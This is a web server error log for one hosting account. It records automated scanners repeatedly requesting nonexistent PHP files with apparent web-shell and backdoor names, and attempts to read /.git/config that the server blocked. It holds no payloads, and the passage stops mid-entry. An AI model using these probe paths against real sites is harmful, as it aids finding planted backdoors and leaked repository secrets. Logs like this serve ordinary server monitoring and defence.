[Mon Dec 08 17:13:19.647887 2025] [:error] [pid 5406:tid 5477] [client 4.189.112.79:52338] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.fr/ [Mon Dec 08 17:13:19.825352 2025] [:error] [pid 5406:tid 5485] [client 4.189.112.79:52340] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.google.com/ [Mon Dec 08 17:13:20.005948 2025] [:error] [pid 5406:tid 5482] [client 4.189.112.79:52342] File does not exist: /home/coldtecp/public_html/Sanskrit.php, referer: https://www.bing.com/ [Mon Dec 08 17:13:20.203109 2025] [:error] [pid 25596:tid 25607] [client 4.189.112.79:52350] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.bing.com/ [Mon Dec 08 17:13:20.380419 2025] [:error] [pid 25728:tid 25739] [client 4.189.112.79:52352] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.fr/ [Mon Dec 08 17:13:20.564627 2025] [:error] [pid 25728:tid 25745] [client 4.189.112.79:52354] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.yahoo.com/ [Mon Dec 08 17:13:20.770986 2025] [:error] [pid 5406:tid 5486] [client 4.189.112.79:52356] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://duckduckgo.com/ [Mon Dec 08 17:13:21.302516 2025] [:error] [pid 5406:tid 5480] [client 4.189.112.79:52362] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.de/ [Mon Dec 08 17:13:21.496046 2025] [:error] [pid 5406:tid 5474] [client 4.189.112.79:52364] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.yahoo.com/ [Mon Dec 08 17:13:22.489476 2025] [:error] [pid 5406:tid 5479] [client 4.189.112.79:52366] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.fr/ [Mon Dec 08 17:13:22.694196 2025] [:error] [pid 25728:tid 25741] [client 4.189.112.79:52368] File does not exist: /home/coldtecp/public_html/cc.php, referer: https://www.google.co.uk/ [Mon Dec 08 17:13:22.873241 2025] [:error] [pid 25728:tid 25743] [client 4.189.112.79:52370] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.yahoo.com/ [Mon Dec 08 17:13:24.097051 2025] [:error] [pid 25596:tid 25605] [client 4.189.112.79:52376] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.fr/ [Mon Dec 08 17:13:24.498036 2025] [:error] [pid 25596:tid 25622] [client 4.189.112.79:52378] File does not exist: /home/coldtecp/public_html/file5.php, referer: https://www.bing.com/ [Mon Dec 08 17:13:25.179476 2025] [:error] [pid 25596:tid 25602] [client 4.189.112.79:52382] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.co.uk/ [Mon Dec 08 17:13:25.719351 2025] [:error] [pid 5877:tid 5900] [client 4.189.112.79:52388] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.de/ [Mon Dec 08 17:13:26.033553 2025] [:error] [pid 5877:tid 5896] [client 4.189.112.79:52390] File does not exist: /home/coldtecp/public_html/install.php, referer: https://www.google.com/ [Mon Dec 08 17:13:26.393231 2025] [:error] [pid 5877:tid 5879] [client 4.189.112.79:52394] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.co.uk/ [Mon Dec 08 17:13:26.970186 2025] [:error] [pid 25596:tid 25600] [client 4.189.112.79:52396] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.co.uk/ [Mon Dec 08 17:13:27.147924 2025] [:error] [pid 5877:tid 5903] [client 4.189.112.79:52398] File does not exist: /home/coldtecp/public_html/network.php, referer: https://www.google.de/ [Mon Dec 08 17:13:27.326801 2025] [:error] [pid 5877:tid 5885] [client 4.189.112.79:52400] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.de/ [Mon Dec 08 17:13:27.527994 2025] [:error] [pid 25728:tid 25738] [client 4.189.112.79:52402] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.bing.com/ [Mon Dec 08 17:13:29.023769 2025] [:error] [pid 25728:tid 25747] [client 4.189.112.79:52416] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.yahoo.com/ [Mon Dec 08 17:13:31.345411 2025] [:error] [pid 25728:tid 25735] [client 4.189.112.79:52440] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.google.com/ [Mon Dec 08 17:13:31.522816 2025] [:error] [pid 25596:tid 25616] [client 4.189.112.79:52442] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.fr/ [Mon Dec 08 17:13:41.437925 2025] [:error] [pid 25596:tid 25599] [client 4.189.112.79:52518] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.google.co.uk/ [Mon Dec 08 17:13:41.675475 2025] [:error] [pid 25596:tid 25623] [client 4.189.112.79:52520] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.bing.com/ [Mon Dec 08 17:13:42.362117 2025] [:error] [pid 25596:tid 25603] [client 4.189.112.79:52522] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.bing.com/ [Mon Dec 08 17:13:42.541865 2025] [:error] [pid 25596:tid 25610] [client 4.189.112.79:52524] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.google.com/ [Mon Dec 08 17:13:42.724139 2025] [:error] [pid 25596:tid 25612] [client 4.189.112.79:52526] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.google.com/ [Mon Dec 08 17:13:42.937531 2025] [:error] [pid 25596:tid 25604] [client 4.189.112.79:52528] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.fr/ [Mon Dec 08 17:13:43.550337 2025] [:error] [pid 25728:tid 25756] [client 4.189.112.79:52534] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.bing.com/ [Mon Dec 08 17:13:43.727972 2025] [:error] [pid 5877:tid 5887] [client 4.189.112.79:52536] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.com/ [Mon Dec 08 17:13:43.905301 2025] [:error] [pid 25728:tid 25732] [client 4.189.112.79:52538] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://duckduckgo.com/ [Mon Dec 08 17:13:44.237941 2025] [:error] [pid 25728:tid 25739] [client 4.189.112.79:52540] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.google.de/ [Mon Dec 08 17:13:45.281001 2025] [:error] [pid 5877:tid 5883] [client 4.189.112.79:52546] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.fr/ [Mon Dec 08 17:13:45.875994 2025] [:error] [pid 5877:tid 5899] [client 4.189.112.79:52548] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.google.de/ [Mon Dec 08 17:13:46.064299 2025] [:error] [pid 25728:tid 25745] [client 4.189.112.79:52550] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.yahoo.com/ [Mon Dec 08 17:13:46.715217 2025] [:error] [pid 5406:tid 5469] [client 4.189.112.79:52552] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.yahoo.com/ [Mon Dec 08 17:13:47.221885 2025] [:error] [pid 25728:tid 25741] [client 4.189.112.79:52554] File does not exist: /home/coldtecp/public_html/NewFile.php, referer: https://www.google.co.uk/ [Mon Dec 08 17:13:47.399587 2025] [:error] [pid 25728:tid 25743] [client 4.189.112.79:52556] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.bing.com/ [Mon Dec 08 17:13:47.584603 2025] [:error] [pid 25728:tid 25738] [client 4.189.112.79:52558] File does not exist: /home/coldtecp/public_html/gel4y.php, referer: https://duckduckgo.com/ [Mon Dec 08 17:13:47.767113 2025] [:error] [pid 25728:tid 25750] [client 4.189.112.79:52560] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.de/ [Mon Dec 08 17:13:48.001015 2025] [:error] [pid 5407:tid 5461] [client 4.189.112.79:52562] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.de/ [Mon Dec 08 17:13:48.244353 2025] [:error] [pid 5877:tid 5890] [client 4.189.112.79:52564] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.de/ [Mon Dec 08 17:13:48.448724 2025] [:error] [pid 5406:tid 5481] [client 4.189.112.79:52566] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.de/ [Mon Dec 08 17:13:48.900621 2025] [:error] [pid 25596:tid 25613] [client 4.189.112.79:52568] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.yahoo.com/ [Mon Dec 08 17:13:49.077868 2025] [:error] [pid 5406:tid 5475] [client 4.189.112.79:52570] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.google.de/ [Mon Dec 08 17:13:49.255450 2025] [:error] [pid 5406:tid 5471] [client 4.189.112.79:52572] File does not exist: /home/coldtecp/public_html/wp-conflg.php, referer: https://www.yahoo.com/ [Mon Dec 08 17:13:49.433487 2025] [:error] [pid 25596:tid 25619] [client 4.189.112.79:52574] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.bing.com/ [Mon Dec 08 17:14:01.140846 2025] [:error] [pid 5405:tid 5427] [client 4.189.112.79:52680] File does not exist: /home/coldtecp/public_html/moon.php, referer: https://www.google.co.uk/ 2025/12/08 17:14:07 [error] 5259#5259: *717183 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 4.189.112.79, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com", referrer: "https://www.google.co.uk/" [Mon Dec 08 18:52:46.942397 2025] [:error] [pid 25728:tid 25749] [client 4.196.105.180:59340] File does not exist: /home/coldtecp/public_html/wp-admin.php, referer: https://www.google.co.uk/ [Mon Dec 08 18:52:52.748220 2025] [:error] [pid 5407:tid 5445] [client 4.196.105.180:59394] File does not exist: /home/coldtecp/public_html/wp-blog-header.php, referer: https://www.google.fr/ [Mon Dec 08 18:52:53.174180 2025] [:error] [pid 5407:tid 5457] [client 4.196.105.180:59398] File does not exist: /home/coldtecp/public_html/wp-content.php, referer: https://www.google.com/ [Mon Dec 08 23:26:07.693578 2025] [:error] [pid 25728:tid 25752] [client 20.189.70.28:52984] File does not exist: /home/coldtecp/public_html/wp-links.php, referer: https://www.google.fr/ [Mon Dec 08 23:26:07.917826 2025] [:error] [pid 5406:tid 5470] [client 20.189.70.28:52986] File does not exist: /home/coldtecp/public_html/wp-mail.php, referer: https://www.bing.com/ [Mon Dec 08 23:26:08.183253 2025] [:error] [pid 5406:tid 5476] [client 20.189.70.28:52988] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:26:08.439929 2025] [:error] [pid 5406:tid 5471] [client 20.189.70.28:52990] File does not exist: /home/coldtecp/public_html/wp-trackback.php, referer: https://www.bing.com/ [Mon Dec 08 23:26:08.685697 2025] [:error] [pid 5406:tid 5479] [client 20.189.70.28:52992] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:26:08.909960 2025] [:error] [pid 5406:tid 5472] [client 20.189.70.28:52998] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.bing.com/ [Mon Dec 08 23:26:09.140941 2025] [:error] [pid 25728:tid 25742] [client 20.189.70.28:53000] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:26:09.365916 2025] [:error] [pid 5407:tid 5458] [client 20.189.70.28:53002] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:26:09.590243 2025] [:error] [pid 5407:tid 5440] [client 20.189.70.28:53004] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.bing.com/ [Mon Dec 08 23:26:09.814511 2025] [:error] [pid 25596:tid 25617] [client 20.189.70.28:53006] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.com/ [Mon Dec 08 23:26:10.038782 2025] [:error] [pid 5877:tid 5889] [client 20.189.70.28:53008] File does not exist: /home/coldtecp/public_html/Sanskrit.php, referer: https://duckduckgo.com/ [Mon Dec 08 23:26:10.302214 2025] [:error] [pid 5406:tid 5489] [client 20.189.70.28:53010] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.fr/ [Mon Dec 08 23:26:13.454808 2025] [:error] [pid 25728:tid 25738] [client 20.189.70.28:53014] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:26:13.691175 2025] [:error] [pid 5877:tid 5886] [client 20.189.70.28:53016] File does not exist: /home/coldtecp/public_html/cc.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:26:13.919837 2025] [:error] [pid 25596:tid 25614] [client 20.189.70.28:53018] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://duckduckgo.com/ [Mon Dec 08 23:26:17.286683 2025] [:error] [pid 5877:tid 5883] [client 20.189.70.28:53028] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:26:17.554758 2025] [:error] [pid 25596:tid 25605] [client 20.189.70.28:53030] File does not exist: /home/coldtecp/public_html/file5.php, referer: https://www.google.com/ [Mon Dec 08 23:26:17.779089 2025] [:error] [pid 5407:tid 5445] [client 20.189.70.28:53032] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:26:18.227037 2025] [:error] [pid 5406:tid 5482] [client 20.189.70.28:53036] File does not exist: /home/coldtecp/public_html/install.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:26:18.720283 2025] [:error] [pid 5406:tid 5488] [client 20.189.70.28:53040] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://duckduckgo.com/ [Mon Dec 08 23:26:18.955410 2025] [:error] [pid 25728:tid 25741] [client 20.189.70.28:53042] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:26:19.179551 2025] [:error] [pid 5407:tid 5441] [client 20.189.70.28:53044] File does not exist: /home/coldtecp/public_html/network.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:26:19.403794 2025] [:error] [pid 5407:tid 5459] [client 20.189.70.28:53046] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.de/ [Mon Dec 08 23:29:07.098461 2025] [:error] [pid 25596:tid 25619] [client 20.58.147.220:53802] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.google.com/ [Mon Dec 08 23:29:07.311500 2025] [:error] [pid 25728:tid 25753] [client 20.58.147.220:53804] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:29:07.522458 2025] [:error] [pid 5405:tid 5433] [client 20.58.147.220:53806] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.com/ [Mon Dec 08 23:29:07.784245 2025] [:error] [pid 25728:tid 25734] [client 20.58.147.220:53812] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:29:08.045991 2025] [:error] [pid 25728:tid 25746] [client 20.58.147.220:53814] File does not exist: /home/coldtecp/public_html/Sanskrit.php, referer: https://www.google.com/ [Mon Dec 08 23:29:08.299559 2025] [:error] [pid 25596:tid 25615] [client 20.58.147.220:53818] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:29:08.511396 2025] [:error] [pid 5407:tid 5447] [client 20.58.147.220:53820] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:29:08.777311 2025] [:error] [pid 5407:tid 5453] [client 20.58.147.220:53822] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:29:08.993917 2025] [:error] [pid 5407:tid 5451] [client 20.58.147.220:53824] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.bing.com/ [Mon Dec 08 23:29:09.692086 2025] [:error] [pid 25728:tid 25737] [client 20.58.147.220:53832] File does not exist: /home/coldtecp/public_html/av.php, referer: https://duckduckgo.com/ [Mon Dec 08 23:29:09.904120 2025] [:error] [pid 25728:tid 25756] [client 20.58.147.220:53834] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:29:10.120559 2025] [:error] [pid 5405:tid 5421] [client 20.58.147.220:53836] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.de/ [Mon Dec 08 23:29:10.337979 2025] [:error] [pid 5877:tid 5889] [client 20.58.147.220:53838] File does not exist: /home/coldtecp/public_html/cc.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:29:10.548878 2025] [:error] [pid 5877:tid 5886] [client 20.58.147.220:53840] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.com/ [Mon Dec 08 23:29:11.235286 2025] [:error] [pid 25728:tid 25733] [client 20.58.147.220:53848] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.fr/ [Mon Dec 08 23:29:11.453987 2025] [:error] [pid 25728:tid 25736] [client 20.58.147.220:53850] File does not exist: /home/coldtecp/public_html/file5.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:29:11.905966 2025] [:error] [pid 25728:tid 25751] [client 20.58.147.220:53854] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.bing.com/ [Mon Dec 08 23:29:12.580159 2025] [:error] [pid 25596:tid 25604] [client 20.58.147.220:53862] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.fr/ [Mon Dec 08 23:29:12.808375 2025] [:error] [pid 25728:tid 25742] [client 20.58.147.220:53864] File does not exist: /home/coldtecp/public_html/install.php, referer: https://www.google.de/ [Mon Dec 08 23:29:13.238176 2025] [:error] [pid 25728:tid 25744] [client 20.58.147.220:53872] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://duckduckgo.com/ [Mon Dec 08 23:29:13.475933 2025] [:error] [pid 5877:tid 5887] [client 20.58.147.220:53874] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://duckduckgo.com/ [Mon Dec 08 23:29:13.686607 2025] [:error] [pid 25728:tid 25745] [client 20.58.147.220:53876] File does not exist: /home/coldtecp/public_html/network.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:29:13.907498 2025] [:error] [pid 5407:tid 5460] [client 20.58.147.220:53878] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.com/ [Mon Dec 08 23:29:14.124421 2025] [:error] [pid 5406:tid 5484] [client 20.58.147.220:53882] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.de/ [Mon Dec 08 23:29:15.676443 2025] [:error] [pid 25728:tid 25736] [client 20.58.147.220:53900] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:29:18.126505 2025] [:error] [pid 5405:tid 5420] [client 20.58.147.220:53924] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.google.com/ [Mon Dec 08 23:29:18.403413 2025] [:error] [pid 25728:tid 25743] [client 20.58.147.220:53928] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:29:25.880648 2025] [:error] [pid 25728:tid 25755] [client 20.58.147.220:54012] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.google.de/ [Mon Dec 08 23:29:26.093386 2025] [:error] [pid 5406:tid 5485] [client 20.58.147.220:54014] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.bing.com/ [Mon Dec 08 23:29:26.318273 2025] [:error] [pid 5406:tid 5475] [client 20.58.147.220:54016] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://duckduckgo.com/ [Mon Dec 08 23:29:26.528862 2025] [:error] [pid 25728:tid 25750] [client 20.58.147.220:54020] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.bing.com/ [Mon Dec 08 23:29:26.741051 2025] [:error] [pid 25728:tid 25733] [client 20.58.147.220:54022] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:29:26.960407 2025] [:error] [pid 5407:tid 5444] [client 20.58.147.220:54024] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:29:27.171329 2025] [:error] [pid 5407:tid 5454] [client 20.58.147.220:54026] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.bing.com/ [Mon Dec 08 23:29:27.383476 2025] [:error] [pid 5407:tid 5457] [client 20.58.147.220:54028] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.fr/ [Mon Dec 08 23:29:27.594494 2025] [:error] [pid 5405:tid 5424] [client 20.58.147.220:54030] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:29:27.826597 2025] [:error] [pid 5406:tid 5470] [client 20.58.147.220:54034] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:29:28.490937 2025] [:error] [pid 25728:tid 25736] [client 20.58.147.220:54040] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.de/ [Mon Dec 08 23:29:28.702390 2025] [:error] [pid 5405:tid 5417] [client 20.58.147.220:54042] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.google.co.uk/ [Mon Dec 08 23:29:28.913376 2025] [:error] [pid 5407:tid 5447] [client 20.58.147.220:54046] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.com/ [Mon Dec 08 23:29:29.135162 2025] [:error] [pid 5407:tid 5453] [client 20.58.147.220:54048] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.bing.com/ [Mon Dec 08 23:29:29.346469 2025] [:error] [pid 25728:tid 25754] [client 20.58.147.220:54050] File does not exist: /home/coldtecp/public_html/NewFile.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:29:29.558189 2025] [:error] [pid 25728:tid 25751] [client 20.58.147.220:54052] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.de/ [Mon Dec 08 23:29:29.788703 2025] [:error] [pid 25728:tid 25743] [client 20.58.147.220:54054] File does not exist: /home/coldtecp/public_html/gel4y.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:29:29.999804 2025] [:error] [pid 25728:tid 25744] [client 20.58.147.220:54058] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.bing.com/ [Mon Dec 08 23:29:30.211275 2025] [:error] [pid 25728:tid 25745] [client 20.58.147.220:54060] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.com/ [Mon Dec 08 23:29:30.421904 2025] [:error] [pid 25728:tid 25732] [client 20.58.147.220:54062] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://duckduckgo.com/ [Mon Dec 08 23:29:30.632864 2025] [:error] [pid 25728:tid 25749] [client 20.58.147.220:54064] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://duckduckgo.com/ [Mon Dec 08 23:29:30.843532 2025] [:error] [pid 25596:tid 25616] [client 20.58.147.220:54066] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.fr/ [Mon Dec 08 23:29:31.053818 2025] [:error] [pid 5405:tid 5432] [client 20.58.147.220:54068] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.google.de/ [Mon Dec 08 23:29:31.264372 2025] [:error] [pid 5405:tid 5416] [client 20.58.147.220:54070] File does not exist: /home/coldtecp/public_html/wp-conflg.php, referer: https://duckduckgo.com/ [Mon Dec 08 23:29:31.487726 2025] [:error] [pid 5405:tid 5426] [client 20.58.147.220:54072] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.yahoo.com/ [Mon Dec 08 23:29:43.197241 2025] [:error] [pid 25728:tid 25744] [client 20.58.147.220:54184] File does not exist: /home/coldtecp/public_html/moon.php, referer: https://www.google.de/ 2025/12/08 23:29:48 [error] 5259#5259: *732092 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 20.58.147.220, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com", referrer: "https://www.google.com/" 2025/12/08 23:32:31 [error] 5261#5261: *732538 access forbidden by rule, client: 185.177.72.75, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/12/08 23:39:59 [error] 5261#5261: *732774 access forbidden by rule, client: 185.177.72.75, server: cpanel.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "cpanel.coldtecperu.com" [Tue Dec 09 01:41:26.168547 2025] [:error] [pid 25728:tid 25750] [client 4.196.105.180:35680] File does not exist: /home/coldtecp/public_html/wp-admin.php, referer: https://www.yahoo.com/ [Tue Dec 09 01:41:31.889593 2025] [:error] [pid 5877:tid 5883] [client 4.196.105.180:35750] File does not exist: /home/coldtecp/public_html/wp-blog-header.php, referer: https://www.google.com/ [Tue Dec 09 01:41:32.312479 2025] [:error] [pid 25596:tid 25601] [client 4.196.105.180:35754] File does not exist: /home/coldtecp/public_html/wp-content.php, referer: https://duckduckgo.com/ 2025/12/09 03:51:37 [error] 1606#1606: *741449 access forbidden by rule, client: 185.177.72.75, server: mail.coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "mail.coldtecperu.com" [Tue Dec 09 04:34:43.217076 2025] [:error] [pid 1662:tid 1675] [client 4.197.60.90:49008] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:34:43.427402 2025] [:error] [pid 1660:tid 1701] [client 4.197.60.90:49012] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:34:43.638216 2025] [:error] [pid 1662:tid 1689] [client 4.197.60.90:49016] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.fr/ [Tue Dec 09 04:34:43.849262 2025] [:error] [pid 5497:tid 5508] [client 4.197.60.90:49020] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.bing.com/ [Tue Dec 09 04:34:44.060122 2025] [:error] [pid 1660:tid 1707] [client 4.197.60.90:49024] File does not exist: /home/coldtecp/public_html/Sanskrit.php, referer: https://www.bing.com/ [Tue Dec 09 04:34:44.270497 2025] [:error] [pid 1662:tid 1669] [client 4.197.60.90:49026] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:34:44.497227 2025] [:error] [pid 1660:tid 1699] [client 4.197.60.90:49028] File does not exist: /home/coldtecp/public_html/about.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:34:44.708065 2025] [:error] [pid 5409:tid 5431] [client 4.197.60.90:49030] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:34:44.918778 2025] [:error] [pid 5497:tid 5515] [client 4.197.60.90:49032] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:34:45.583411 2025] [:error] [pid 5497:tid 5504] [client 4.197.60.90:49040] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.de/ [Tue Dec 09 04:34:45.816363 2025] [:error] [pid 1662:tid 1691] [client 4.197.60.90:49042] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.bing.com/ [Tue Dec 09 04:34:46.027019 2025] [:error] [pid 1660:tid 1717] [client 4.197.60.90:49044] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.de/ [Tue Dec 09 04:34:46.237390 2025] [:error] [pid 5409:tid 5423] [client 4.197.60.90:49046] File does not exist: /home/coldtecp/public_html/cc.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:34:46.447423 2025] [:error] [pid 5497:tid 5509] [client 4.197.60.90:49052] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.de/ [Tue Dec 09 04:34:47.094393 2025] [:error] [pid 1660:tid 1706] [client 4.197.60.90:49058] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:34:47.305009 2025] [:error] [pid 1660:tid 1718] [client 4.197.60.90:49062] File does not exist: /home/coldtecp/public_html/file5.php, referer: https://www.yahoo.com/ [Tue Dec 09 04:34:47.727978 2025] [:error] [pid 5409:tid 5419] [client 4.197.60.90:49066] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.com/ [Tue Dec 09 04:34:48.370205 2025] [:error] [pid 1660:tid 1713] [client 4.197.60.90:49072] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.bing.com/ [Tue Dec 09 04:34:48.580959 2025] [:error] [pid 5497:tid 5502] [client 4.197.60.90:49074] File does not exist: /home/coldtecp/public_html/install.php, referer: https://www.google.de/ [Tue Dec 09 04:34:49.002273 2025] [:error] [pid 1662:tid 1681] [client 4.197.60.90:49080] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.co.uk/ [Tue Dec 09 04:34:49.212782 2025] [:error] [pid 1662:tid 1687] [client 4.197.60.90:49082] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.bing.com/ [Tue Dec 09 04:34:49.423051 2025] [:error] [pid 1664:tid 1747] [client 4.197.60.90:49084] File does not exist: /home/coldtecp/public_html/network.php, referer: https://duckduckgo.com/ [Tue Dec 09 04:34:49.633824 2025] [:error] [pid 1660:tid 1711] [client 4.197.60.90:49086] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: 